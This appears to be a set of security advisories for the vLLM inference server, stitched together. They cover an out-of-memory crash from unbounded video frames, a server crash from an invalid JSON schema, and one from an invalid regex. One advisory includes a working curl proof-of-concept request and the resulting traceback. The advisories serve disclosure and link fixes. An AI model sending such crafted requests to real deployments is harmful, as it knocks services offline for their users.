vLLM versions 0.8.0 and later are vulnerable to an Out-of-Memory (OOM) Denial of Service (DoS) attack due to unbounded frame count processing in the VideoMediaIO.loadbase64() method. When processing video/jpeg data URLs, the method splits the base64 data string on commas to extract individual JPEG frames without enforcing a frame count limit. An attacker can exploit this by crafting a single API request containing thousands of comma-separated base64-encoded JPEG frames in a data URL, causing the server to decode all frames into memory and crash due to excessive memory consumption. This vulnerability is reachable via the OpenAI-compatible chat completions API and does not require authentication.

Summary Hitting the /v1/completions API with a invalid jsonschema as a Guided Param will kill the vllm server

Details The following API call (venv) [derekh@ip-172-31-15-108 ]$ curl -s http://localhost:8000/v1/completions -H "Content-Type: application/json" -d '{"model": "meta-llama/Llama-3.2-3B-Instruct","prompt": "Name two great reasons to visit Sligo ", "maxtokens": 10, "temperature": 0.5, "guidedjson":"{\"properties\":{\"reason\":{\"type\": \"stsring\"}}}"}' will provoke a Uncaught exceptions from xgrammer in ./lib64/python3.11/site-packages/xgrammar/compiler.py

Issue with more information: https://github.com/vllm-project/vllm/issues/17248

PoC Make a call to vllm with invalid jsonscema e.g. {\"properties\":{\"reason\":{\"type\": \"stsring\"}}}

curl -s http://localhost:8000/v1/completions -H "Content-Type: application/json" -d '{"model": "meta-llama/Llama-3.2-3B-Instruct","prompt": "Name two great reasons to visit Sligo ", "maxtokens": 10, "temperature": 0.5, "guidedjson":"{\"properties\":{\"reason\":{\"type\": \"stsring\"}}}"}' Impact vllm crashes

example traceback ERROR 03-26 17:25:01 [core.py:340] EngineCore hit an exception: Traceback (most recent call last): ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 333, in runenginecore ERROR 03-26 17:25:01 [core.py:340] enginecore.runbusyloop() ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 367, in runbusyloop ERROR 03-26 17:25:01 [core.py:340] outputs = stepfn() ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^ ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 181, in step ERROR 03-26 17:25:01 [core.py:340] scheduleroutput = self.scheduler.schedule() ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^ ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/core/scheduler.py", line 257, in schedule ERROR 03-26 17:25:01 [core.py:340] if structuredoutputreq and structuredoutputreq.grammar: ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/structuredoutput/request.py", line 41, in grammar ERROR 03-26 17:25:01 [core.py:340] completed = self.checkgrammarcompletion() ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/structuredoutput/request.py", line 29, in checkgrammarcompletion ERROR 03-26 17:25:01 [core.py:340] self.grammar = self.grammar.result(timeout=0.0001) ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ERROR 03-26 17:25:01 [core.py:340] File "/usr/lib64/python3.11/concurrent/futures/base.py", line 456, in result ERROR 03-26 17:25:01 [core.py:340] return self.getresult() ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^ ERROR 03-26 17:25:01 [core.py:340] File "/usr/lib64/python3.11/concurrent/futures/base.py", line 401, in getresult ERROR 03-26 17:25:01 [core.py:340] raise self.exception ERROR 03-26 17:25:01 [core.py:340] File "/usr/lib64/python3.11/concurrent/futures/thread.py", line 58, in run ERROR 03-26 17:25:01 [core.py:340] result = self.fn(self.args, self.kwargs) ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/structuredoutput/init.py", line 120, in asynccreategrammar ERROR 03-26 17:25:01 [core.py:340] ctx = self.compiler.compilejsonschema(grammarspec, ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/venv/lib64/python3.11/site-packages/xgrammar/compiler.py", line 101, in compilejsonschema ERROR 03-26 17:25:01 [core.py:340] self.handle.compilejsonschema( ERROR 03-26 17:25:01 [core.py:340] RuntimeError: [17:25:01] /project/cpp/jsonschemaconverter.cc:795: Check failed: (schema.is<picojson::object>()) is false: Schema should be an object or bool ERROR 03-26 17:25:01 [core.py:340] ERROR 03-26 17:25:01 [core.py:340] CRITICAL 03-26 17:25:01 [coreclient.py:269] Got fatal signal from worker processes, shutting down. See stack trace above for root cause issue.

Fix

https://github.com/vllm-project/vllm/pull/17623

Impact

A denial of service bug caused the vLLM server to crash if an invalid regex was provided while using structured output. This vulnerability is similar to GHSA-6qc9-v4r8-22xg, but for regex instead of a JSON schema.

Issue with more details: https://github.com/vllm-project/vllm/issues/17313

Patches

https://github.com/vllm-project/vllm/pull/17623